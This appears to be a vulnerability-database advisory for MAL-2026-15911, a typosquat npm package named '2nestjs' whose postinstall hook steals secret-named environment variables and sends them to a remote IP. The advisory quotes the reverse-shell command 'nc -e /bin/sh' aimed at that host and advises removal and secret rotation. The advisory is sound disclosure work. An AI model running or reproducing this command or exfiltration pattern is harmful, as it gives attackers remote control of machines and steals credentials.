MAL-2026-15911 Malicious code in 2nestjs (npm)

Malicious package Published
Package
2nestjs
Registry
npm

What is MAL-2026-15911?

MAL-2026-15911 is a malicious package in 2nestjs, published on 4 Sep 2026.

Official description

The package's postinstall hook executes index.js, which enumerates process.env, filters keys matching /^(SECRET|API|TOKEN|KEY)/, JSON-serializes the matched values, and writes them over a raw TCP socket to the hardcoded remote host 84.32.22.44:9999 (loaded from servers.json). The same postinstall path also invokes nc -e /bin/sh 84.32.22.44 9999, establishing an interactive reverse shell to the same host and granting the remote operator arbitrary command execution on the installer's machine. The package's own package.json description labels it a typosquat of nestjs and the author identifier is typosquat-bot, and the module's export logs '2nestjs loaded – targeting nestjs' — the package name is a numeric-prefix lookalike of the widely used nestjs package.

What should I do about MAL-2026-15911?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

Sources

Is MAL-2026-15911 in your software?

Upload an SBOM and sbomify checks it against every vulnerability here, every day.

Check your SBOMs for free